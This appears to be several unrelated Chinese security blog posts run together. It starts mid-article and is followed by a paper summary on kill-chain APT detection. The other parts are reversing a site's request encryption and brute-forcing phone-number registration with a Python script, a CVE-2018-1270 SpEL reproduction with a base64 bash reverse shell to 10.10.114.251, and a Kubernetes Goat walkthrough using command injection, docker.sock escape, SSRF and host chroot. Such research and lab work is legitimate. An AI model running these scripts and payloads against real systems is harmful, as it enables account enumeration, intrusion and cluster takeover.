var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容
1.RSA
首先在疑似RSA加密的位置的结尾下个断点,
为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。
我们不是来做密码题的,我们只是来挖洞的。
然后会发现,右边有一大堆参数。
好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了
而s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是:
function() {
o = new JSEncrypt();
o.setPublicKey(a);
return o.encrypt(t)
}
看,其实就是普通的RSA加密!
而且RSA公钥也给了,就是参数a!
然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。
在F12的控制台中执行一下,能够输出相似的结果。
JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。
扔到CyberChef先放着,待会有用。
加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。
随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。
这样,就可以解密了。
2.AES
接下来就是AES,同样的,下个断点看结果。
能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。
而且AES相关参数也给出了:
初始向量:1234567812345678,CBC模式,zeropadding填充。
AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx
解码的话也是一样,毕竟是对称加密。
3.SHA-256
SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256
这里就是最后的波纹了,也是最复杂的地方。
还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。
在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n。
之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:
{clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=164740
好,接下来来验证一下
这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9
输出结果对的上,说明没错:
看着下图的请求体,最后总结一下。
1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey,
2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData
3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算,可以任意更改。
4.将所有参数融合进行SHA256加密来签名。
爆破
分析完毕,那么接下来就可以开始爆破了。
接下来有两种做法:
1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。
2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。
在这里我选择1,具体代码如下:
import hashlib
import urllib3
import requests
import base64
from Crypto.Cipher import AES
urllib3.disable_warnings()
# aes的key和初始向量
key = 'PHVDHENXNREOEVON'
vi = '1234567812345678'
url = ""
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",
"Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
"Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",
"Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
def AES_Encrypt(data):
global key
global vi
pad = lambda s: s + (16 - len(s) % 16) * chr(0)
data = pad(data)
# 字符串补位
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
# 加密后得到的是bytes类型的数据
encodestrs = base64.b64encode(encryptedbytes)
# 使用Base64进行编码,返回byte字符串
enctext = encodestrs.decode('utf8')
# 对byte字符串按utf-8进行解码
return enctext
def AES_Decrypt(data):
global key
global vi
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
# 将加密数据转换位bytes类型数据
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
text_decrypted = text_decrypted.rstrip(b'\0')
# 去补位
text_decrypted = text_decrypted.decode('utf8')
return text_decrypted
def sha256(text):
return hashlib.sha256(text.encode()).hexdigest()
phone_list = []
with open('test-phone.txt', 'r', encoding='utf8') as f:
for i in f:
phone_list.append(i.strip())
for i in phone_list:
requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
encodeKey, requestsData)
sign = sha256(sign_exp)
json = {"clientId": "1",
"encodeKey": encodeKey,
"requestData": requestsData, "requestId": "1",
"sign": sign, "timestamp": "1"}
res = requests.post(url, headers=headers, json=json, verify=False)
try:
result = AES_Decrypt(res.text.strip())
if '该手机号未查询到用户' in result:
print("未注册" + i)
else:
print("查询到了:" + i)
except Exception as e:
print(e)
print(res.text)
exit()
代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。
因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。
这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。
记一次曲折的CVE-2018-1270复现分析
前言
前两天接到朋友对某个授权目标的漏扫结果,也算是初次接触到这个漏洞,就想着顺手分析一下复现一下,因为分析这个漏洞的文章也比较少,所以刚开始比较迷,进度也比较慢。
漏洞复现
使用vulhub搭建环境,下载vulhub
git clone https://github.com/vulhub/vulhub.git
spring目录下有docker镜像直接启起来
sudo docker-compose up -d
访问8080端口即可查看
环境搭建ok,其实这里使用构造的payload不知道为什么不可以,稍后尝试,先使用exp去执行,在环境中刚好有exp,我们只需要修改目标ip
修改执行的命令
执行EXP
进入docker容器查看是否成功生成数据
ocker exec -it 1f699e14e /bin/bash
验证EXP成功利用,这里尝试一下反弹shell,在另一台终端监听一个端口
nc -lvp 9999
修改EXP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
得到容器的shell
由于在线编码的平台不能使用,所以需要自己做一下base64的编码然后再解码,但是这里为什么直接反弹的shell不能够执行呢?
是因为管道符、输入输出重定向,只有在bash环境下才能用。由于项目环境为Java环境不支持管道符、输入输出重定向等。重定向和管道符的使用方式在正在启动的进程的中没有意义。例如ls > 1.txt 在shell中执行为将当前目录的列表输出到命名为 1.txt 。但是在 exec() 函数的中,该命令为解释为获取 > 和 1.txt 目录的列表。
下载源码
wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git
新建项目导入pom.xml文件搭建环境,配置配置文件
运行本地已搭建
http://127.0.0.1:8080/
本地搭建目的是方便调试。
修改代码位置
src->main->resources->static->app.js
修改connect方法
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
保存后重新运行,Websocket连接,send发送任意信息即可触发calc.exe
分析
本地windows的触发条件更能清楚的理解,exec中代码执行的条件是由于建立socket通信之后发送信息的时候触发的,这里通过下断点来调试
首先先了解几个概念,没有java框架开发经验的话确实很让人头疼,SpEL表达式,是Spring表达式的简写,能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。简单理解就是利用简单的表达形式来实现操作。
SpEL支持如下表达式:
基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式;
类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用;
集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义;
其他表达式:模板表达式。
STOMP协议
STOMP是一个简单的可互操作的基于帧的协议, 作用于中间服务器在客户端之间进行异步消息传递,STOMP协议基于TCP协议,类似于HTTP协议,使用了以下命令:
CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT
Ctrl+N
根据披露的漏洞位置,直接搜索问题类DefaultSubscriptionRegistry
在Protected属性addSubscriptionInternal方法中,定义了selectorHeaderInUse的属性为true
95行的时候把四个参数,sessinId,subsId,destination(订阅地址("/topic/greetings")以及expression添加进subscriptionRegistry属性中。
app.js修改的代码位置为
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
private属性中的filterSubscriptions方法在什么时候会触发呢?下断点调试会发现,在send发送信息的时候会传入message参数,这个时候就会调用前端传入的selector构造的内容即SpEL表达式的内容,从第二种的复现方式来看就是这样的,但是在调试的时候正常的利用是首先触发
118行调用findSubscriptionsInternal函数
ctrl+N向上查找函数
在AbstractSubscriptionRegistry类中找到了在满足else的时候调用了findSubscriptionsInternal函数,可能在这里也许有师傅有点困惑,在这里我们需要明白的是参数destination(订阅地址)和参数message(含有SpEL表达式即payload)的内容。
但是这里有个疑问,那么哪里利用到了STOMP协议的内容呢?
上文提到了STOMP协议的命令,里面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector头值会作为表达式存储,在实现addSubscriptionInternal方法的方法生成sessionID的时候表达式已经实现了存储。
这个时候就很明显了,seesionid的生成就涉及到了websocket实现客户端和服务器之间的交互
到这里分析就结束了,但是函数调用以及漏洞触发的原因已经分析的比较清楚了。
小结
Java的东西忘记的差不多了,IDEA的快捷键都给忘了,突然分析起来很头大,可参考的内容也比较少,走的坑也比较多吧,有问题的地方欢迎师傅们指正。
参考文章
https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVghttps://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Qhttps://www.jianshu.com/p/ae3922db1f70
从kill-chain的角度检测APT攻击
前言
最近一直在考虑如何结合kill chain检测APT攻击。出发点是因为尽管APT是一种特殊、高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测。而kill chain就是个非常好的common feature描述。
在预研期间看到了一些觉得比较好的工作,这里和各位师傅一起分享下。如题所述,这篇文章是介绍如何如kill-chain的角度检测APT攻击的一个方案,其特点解决了三个痛点:1.在于针对大数据量的问题引入Pearson相关检验来减少处理数据量;2,使用基于贝叶斯算法分类的优先级选择方法对训练数据进行选择,从而显著降低训练时间;3.利用层次分析法,对不同的警报进行分类,并确定各参数之间的相关性,最终提高所有攻击数据类的检测率。
kill-chain模型
kill-chain模型各位师傅应该都比较熟悉了,不过为了方便与后文的APT检测对应起来,我们这里还是简单梳理下。
kill-chain模型有7个阶段:(1) Reconnaissance, (2) Weaponization, (3) Deliver, (4) Exploitation, (5) Installation, (6) Command and Control (7) Actions on objectives
这7个连续的步骤为攻击者提供了行动TTP(tactic,technique和procedure)
事实上,kill-chain模型不仅可以给攻击者提供参考,也能给防御者提供指引,从预防、检测、分析每一步骤都有章可循。下面根据个人经验简单回顾一下。
Reconnaissance
第一阶段侦查的主要目标就是收集目标的信息,这一步说简单也简单,说难也难,相信做渗透的师傅们都深有体会。
Weaponization
第二阶段Weaponization,即武器化,其目标是创建一个可以交付攻击的恶意payload,这里的payload可以分为两种类型:
1.不需要与攻击者通信的payload,比如病毒、蠕虫等
2.需要与攻击者通信的payload,比如带有C&C功能的恶意软件
其实关于这一阶段的产物我们更熟悉的名词应该叫做RAT(remote access Trojan),即远控木马
RAT需要客户端和负责下发命令的服务器。客户端接收实际恶意payload,并被配置为能够与C2服务器通信,服务器位于网络上,由攻击者控制。
比如在Reconnaissance阶段,攻击者注意到电子邮件系统不允许发送和接收exe文件,但允许发送pdf文件。另一方面,攻击者注意到,教授经常通过电子邮件收到并打开学生的PDF文件。因此,攻击者可以创建一个能够与C2服务器通信的RAT文件,并将该RAT文件嵌入到一个伪装为个人简历(比如要读研的前来套磁的学生)的PDF文件中,然后将其以附件的形式发给教授。
Deliver
payload在上一阶段被开发完成后就需要通过各种途径投递出去,这里可以通过社会工程学的方法欺骗受害者进行交互,或者利用协议、软件的缺陷自动投递。在这一阶段最重要的就是确保投递时的隐蔽性,非交互就能投递的话自然是最好的,可这也是最难的,所以在网上流传很广的那个报价表上'Zero-interaction'的漏洞价格一骑绝尘。
Exploitation
在利用阶段,需要确保其拥有必要的权限以在目标平台上运行,比如投递的是elf文件,则肯定是不能在windows平台运行的;而且payload不能被检测出来,否则kill-chain的链条到这里就断了。
这一步容易和下一步混淆,这一步是利用,下一步才是安装。举个简单的例子,本来是没有权限安装某个app的,但是同个exploition这个阶段实现了提权、逃逸等操作,所以才能保证下一步installation的进行。
Installation
这一阶段并不是必须,比如那些可执行文件或者以代码注入实现的攻击。
如果涉及到这个阶段的话,攻击者就需要在deliver阶段将dropper或者downloader放置在目标计算机上。这一步的关键不在于漏洞利用,而是在于持久化,能够在受害者主机上存活下来。
Command and Control
这一阶段是不可或缺的,因为很多攻击活动的目的就是为了窃取信息,那么在本地拿到信息后自然需要通过C2回传,比如典型的Zeus等;此外对于僵尸网络还需要接收客户端的命令以执行恶意操作,比如发动ddos攻击,对于勒索软件需要被下派指令激活以加密本地关键文件
在这一步,根据通信特点也可以分为直接通信和间接通信两类:
在直接通信中,受害主机上的恶意软件包含攻击者控制的服务器ip和控制列表,但是如果这个特定的ip被阻断了,那么攻击者就失去了控制权;
在间接通信中,攻击者是利用合法的中间节点与受害者进行通信的,他可以利用白站进行中转,或者攻陷一些中间节点作为跳板,从而建立通信路径。
这一步其实非常灵活,攻击者可以通过不同的方式进行通信,比如使用邮件、使用http,dns等以及隐蔽信道。
但是这一阶段的活动一定会产生网络流量,因为很多检测工作都是在流量方面开展的。
Actions on objectives
这是kill-chain模型的最后阶段。攻击活动要么会自主进行或者通过C2信道接收到命令后开始执行。这一阶段的目标主要有三种:窃取信息、勒索软件、破坏系统。
回顾完了kill-chain,我们可以很直观地感受到,这个连续模型,阐述了攻击者是如何一步步实现攻击的,其基于的假设就是攻击者会以顺序、递进和高级的方式对受害者进行渗透,只要任一阶段被阻断,攻击就不会成功。
检测方案
检测方案非常直观,如下所示
在数据预处理阶段采用Pearson相关检验,利用贝叶斯算法优化训练输入信息。接下来贝叶斯算法根据检测阈值、预测阈值和灰色结果三个组成部分对数据进行分类。然后,将剩余的预处理数据作为实验组件,将其输出作为分析层次过程的输入参数,对攻击进行排序。此时会输出包括一个已知攻击优先级的分类。
参数的预处理与联系
检测APT攻击时需要计算几个参数,大部分研究中针对网络攻击的类型和严重程度,已经引入了各种参数来评估和检测网络攻击。但这里需要注意的是,检查许多参数的话可能会增加开销,并最终降低提出的入侵检测解决方案的效率。
所以在这里采用相关系数法减少检测APT攻击时使用的参数数量。
相关系数是确定两个定量变量之间关系类型和程度的统计工具。同时,它也是决定两个变量相关性的因素之一。它表明了关系的强度以及关系的类型。这个系数在−1到1之间。在两个变量之间没有关系的情况下,它等于0。
两个变量之间的相关性可以用各种不同的计算方法来测量。皮尔逊相关系数、斯皮尔曼相关系数和Tau Kendall相关系数是计算变量之间相关关系最常用的方法。在这里我们使用皮尔逊相关系数。一般来说,两个随机变量之间的皮尔逊相关系数等于它们的协方差除以它们的标准差的乘积。对于一个统计总体,相关系数可定义如下
对于有n个数据对的样本的相关系数可以表示如下
进一步推导为
其中
接下来需要评估相关强度,根据给定的应用,提出了各种分类,这些分类用于关联数据以及从大量数据中删除无用数据。
对应的评估可以参考下表
利用贝叶斯算法进行阈值训练和评估
贝叶斯决策理论是一种概率推理方法。假设给定的变量遵循一定的概率分布,这些概率和观察到的数据可以用来做决策。
朴素贝叶斯分类模型(NBC)是基于贝叶斯决策理论的一种基础模型。该分类方法执行简单,分类速度快,准确率高,是机器学习中应用最广泛的分类模型之一。朴素贝叶斯分类基本思想:假设样本属性之间相互独立,对于给定的待分类项,求解在此项出现的情况下其他各个类别出现的概率,哪个最大,就认为待分类项属于那一类别。
比如大家都知道的邮箱内垃圾邮件的筛选即应用朴素贝叶斯算法。我们这里就用它。
其实现主要分成三个阶段
第一阶段,准备工作。根据具体情况确定特征属性,并对每一特征属性进行划分,然后人工对一些待分类项进行分类,形成训练样本集合。这一阶段的输入是所有待分类数据,输出是特征属性和训练样本。唯一需要人工处理的阶段,质量要求较高。
第二阶段,分类器训练阶段(生成分类器)。计算每个类别在训练样本中出现频率及每个特征属性划分对每个类别的条件概率估计,并将结果记录。其输入是特征属性和训练样本,输出是分类器。
第三阶段,应用阶段。使用分类器对待分类项进行分类,其输入是分类器和待分类项,输出是待分类项与类别的映射关系。
理论上来说,朴素贝叶斯分类比其他分类算法的错误率最低。
但是,很难假设实际的网络行为是独立的。因为实际上每个计算机网络都有自己独特的特点,这些特点直接影响入侵检测方法的效果。因此,将一个加权特征分配给简单贝叶斯分类,在朴素贝叶斯分类中,对每个影响这些关系的属性赋予不同的权重时,不同的权值会产生不同的结果,这些权值对入侵检测方法有很大的影响。
在入侵检测系统中,朴素贝叶斯分类的重点实际是用于是确定不同特征权重。
通过公式计算得到的概率被用来确定阈值。通过对阈值进行评估,将结果表示为灰色阈值、预测阈值和检测阈值三种模式。预测模式表示当前入侵信息被检测到的过程。检测模式决定了入侵信息被完全识别和检测的过程。灰色模式表示当前信息无法检测到入侵。
模糊层次分析法
模糊层次分析法(FAHP)及计算过程层次分析法(AHP)是20世纪70年代美国运筹学T.L. Saaty教授提出的一种定性与定量相结合的系统分析方法。
该方法对于量化评价指标,选择最优方案提供了依据,并得到了广泛的应用。然而, AHP存在如下方面的缺陷:检验判断矩阵是否一致非常困难,且检验判断矩阵是否具有一致性的标准CR < 0. 1缺乏科学依据;判断矩阵的一致性与人类思维的一致性有显著差异。
在模糊层次分析中,作因素间的两两比较判断时,如果不用三角模糊数来定量化,而是采用一个因素比另一个因素的重要程度定量表示,则得到模糊判断矩阵。
其抽象结构如下所示
emmm,不好理解的话,我们里去哪里旅游的问题为例,可以把要考虑的因素都放上去进行计算,如下所示
用模糊层次分析法解决问题的一般步骤如下:
模糊层次分析法的基本思想是根据多目标评价问题的性质和总目标,把问题本身按层次进行分解,构成一个由下而上的梯阶层次结构。因此在运用FAHP决策时,大体上可以可分为以下四个步骤。
(1)分析问题,确定系统中各因素之间的因果关系,对决策问题的各种要素建立多级(多层次)递阶结构模型。
(2)对同一层次(等级)的要素以上一级的要素为准则进行两两比较,并根据评定尺度确定其相对重要程度,最后据此建立模糊判断矩阵。
(3)通过一定计算,确定各要素的相对重要度。
(4)通过综合重要度的计算,对所有的替代方案进行优先排序,从而为决策人选择最优方案提供科学的决策依据
在我们提出的方案中,模糊层次分析法是用于对不同的警报进行分类,并确定各参数之间的相关性,从而检测出APT攻击的。
该方法首先会对输入数据进行模糊化处理,数值模糊化可以采用各种隶属函数。隶属度A(x)表示模糊集合A中元素x的隶属度。如果一个元素的隶属度为0,则该元素完全不在该集合中;如果隶属度为1,则该元素完全在该集合中。当隶属度在0到1之间时,表示隶属度是渐进的。这里我们可以使用三角隶属函数对值进行模糊化处理。其公式如下
层次分析过程步骤如下:
•AHP建模过程-》创建两两比较决策矩阵-》计算每个选项的标准权重和得分,其最后一步涉及兼容性测试;其中涉及一致性指标(CI)和一致性比(CR)两个参数,当CR小于0.1时,结果才是可接受的,否则就要重新执行
检测效果
为了检测方案的可行性,这里使用了标准的公开数据集KDD CUP99进行评估
KDD CUP99是非常经典的数据集。该数据集是自1999年以来评估入侵检测系统最常见和标准的数据集,是基于DARPA 98项目记录的数据。该数据集包含由TCPDump软件从网络流量中收集的大约4 GB的原始二进制数据。它还包含大约500万条带有连接向量的记录,每条记录的大小为100字节和41个属性,以及一个包含正常模式或攻击模式的标签。由于该数据集的容量很大,大多数研究都使用了标准数据集中提供的10%的子集。这个数据集包括494,021条记录,包括23种攻击类和2个普通类。
在该数据集中,将数据记录分为拒绝服务(DoS)攻击、获取初始访问(R2L)攻击、提权(U2R)攻击和探测攻击(probing)四大类。在这里,根据kill-chain的特性以及这些攻击对kill-chain模型某些阶段的适应性,以这些攻击为例对APT攻击进行了分析。我们考虑了DoS、R2L、U2R攻击,以及信息收集(“Reconnaissance”)、入侵(“weaponization” 和“Delivery)、部署(““Exploitation” 和 “Installation””)和信息窃取(“Command and Control” 和 “Action on Objectives”)阶
因为使用了贝叶斯算法和模糊层次分析法相结合的方法,这里通过参数M负责控制这两种算法的收敛(M的值实际上表示Bayesian算法下一步将用于训练的数据点),为了确定M去哪个值更好,这里分别作了实验,效果如下
可以看到,M=4时效果是最好的
为了确定所提出的方案的效率更好,这里可以对T2数据集提取混淆矩阵,如下所示。a是基础方案,b是提出的方案.
在接下来的实验中,我们把这里提出的新的思路命名为APT-Dt-KC,然后与参考文献5中提出的DT-EnSVM方法进行对标,从结果可以看到,新的方案全面胜出。
从上表可以看出来,现在的方案混淆矩阵在分类阶段的效率比基础方案要更优。
然后分别比较两个方案在T1数据集和T2数据集上的结果,如下所示,第一个表示是在T1数据集上的结果,第二个表是在T2数据集上的结果
可以看到,现在的方案在检出率、假阳性率和假阴性率方面均要更占优势。而且由于消除了预警的冗余性,其训练时间也更短。
两个方案在两个数据集上的准确率如下
可以看到,现在的方案在准确率上是遥遥领先。
但是这还没有结束,对攻击进行分类处理后,需要确定攻击的级别和优先级。
由于现在的方法采用了AHP算法来考虑攻击的级别,因此可以对不同的攻击进行排序。因此,可以对所有攻击进行分类、排序,并根据最可能发生的情况进行评估。T1数据集在攻击检测阶段的实验结果如下所示。
可以看到其假阳性率和假阴性率均小于基础方法。
T1数据集中两个方案的平均检测率值如下所示
从表中可以看出,现在的方案在最终检测率上也是优于基础方法的。所以我们现在可以肯定地说,整个过程中我们提出的新方案有较好的检测效果。
参考
1.Panahnejad M, Mirabi M. APT-Dt-KC: advanced persistent threat detection based on kill-chain model[J]. The Journal of Supercomputing, 2022: 1-34.
2.https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
3.https://towardsdatascience.com/support-vector-machine-introduction-to-machine-learning-algorithms-934a444fca47
4.Setiawan B, Djanali S, Ahmad T, et al. Assessing centroid-based classification models for intrusion detection system using composite indicators[J]. Procedia Computer Science, 2019, 161: 665-676.
5.Gu J, Wang L, Wang H, et al. A novel approach to intrusion detection using SVM ensemble with feature augmentation[J]. Computers & Security, 2019, 86: 53-62.
通过Kuberneters Goat学习K8S安全(上)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x1、敏感信息泄露利用
第一关是代码泄露利用,打开网站后显示:
告诉我们这是一个代码构建服务。
我们可以测试是否存在git泄露
可以访问到git的配置文件,然后可以尝试从网站转储 git存储库
这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper
用法如下:
git-dumper http://website.com/.git ~/website
它会自动遍历路径和获取代码。
等待获取完成,然后查看获取的仓库内容:
使用git log可以查看代码提交的日志记录:
然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:
查看.env文件:
还可以用另外一个工具trufflehog 对.git目录进行分析:
产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。
0x2、Docker in Docker 利用
第二关是DIND (docker-in-docker) exploitation
描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。
访问后的页面内容:
看起来像是存在命令注入漏洞,我们测试一下:
果不其然。
如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。
查看是否存在docker.sock挂载
然后我们下载一个docker可执行程序,注入如下命令:
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
解压缩:
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
0x3 SSRF漏洞
第三关是SSRF in K8S world
场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。
访问应用页面:
这应该是一个内部API代理服务
我们尝试一下访问内部的服务,比如容器服务
可以看到内部有一个http://metadata-db服务,访问看看
可以看到有一个latest的路径,我们继续访问http://metadata-db/latest/
可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:
看起来像Base64编码的字符串,解密看看:
0x4 容器逃逸到宿主系统(敏感目录挂载)
访问这一关的页面
是一个Linux shell环境
场景描述
大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。
查看当前环境的基本信息
可以发现当前用户权限是root,系统是运行在docker 容器中。
查看挂载信息:
可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:
看起来像是把宿主机完整的系统都挂载进来了。
那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问
chroot /host-system bash
我们使用docker ps查看宿主机运行的容器
我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件:
cat /etc/kubernetes/kubelet.conf
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
0x5 Docker CIS 安全基线分析
场景描述
该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。
首先需要部署docker bench security将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。
controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh
~ # cd docker-bench-security/
~/docker-bench-security # ./docker-bench-security.sh
如果有多个节点,就依次进入并执行。
然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。
0x6 Kubernetes CIS 安全基线分析
场景描述
本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。
首先,我们在节点上部署kube-bench security为Kubernetes job
controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml
job.batch/kube-bench-master created
controlplane $
然后获取pod信息和查看jobs列表
查看kube-bench-node-xxxxx pod 的日志
然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。
0x7 攻击私有仓库
场景描述
容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。
因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。
https://2886795289-1235-simba09b.environments.katacoda.com/v2/
我们可以用一些API来测试访问仓库的信息
API文档参考:https://docs.docker.com/registry/spec/api/
https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库
查看具体的仓库信息:
https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest
经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。
然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。
0x8 NodePort 暴露风险
场景描述
